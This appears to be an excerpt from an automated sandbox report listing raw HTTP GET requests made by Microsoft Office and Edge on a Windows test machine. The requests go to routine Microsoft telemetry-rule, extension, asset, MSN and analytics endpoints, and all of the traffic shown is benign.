Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1731402824&P2=404&P3=2&P4=HNghdasC8laI9625l4T7GvTBHF6chr2IN5zt%2fcV9c8meqfXTGdA17rRRb38PpwXNQns8LFeEnB6MkFwT6aBCgg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: Scp4FRA2Re/ftln4HEZCh3Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=01D0F972D2F36EF72A6BEC5CD3526FC5&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=cb4abc715f2f4449b58fa6c2e4319efb HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=01D0F972D2F36EF72A6BEC5CD3526FC5; _EDGE_S=F=1&SID=29BCC2E4018660F412EFD7CA00A86193; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1730798032548&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=01D0F972D2F36EF72A6BEC5CD3526FC5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=01D0F972D2F36EF72A6BEC5CD3526FC5&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=de6b3212d3eb47a881d207f150888526 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=01D0F972D2F36EF72A6BEC5CD3526FC5; _EDGE_S=F=1&SID=29BCC2E4018660F412EFD7CA00A86193; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
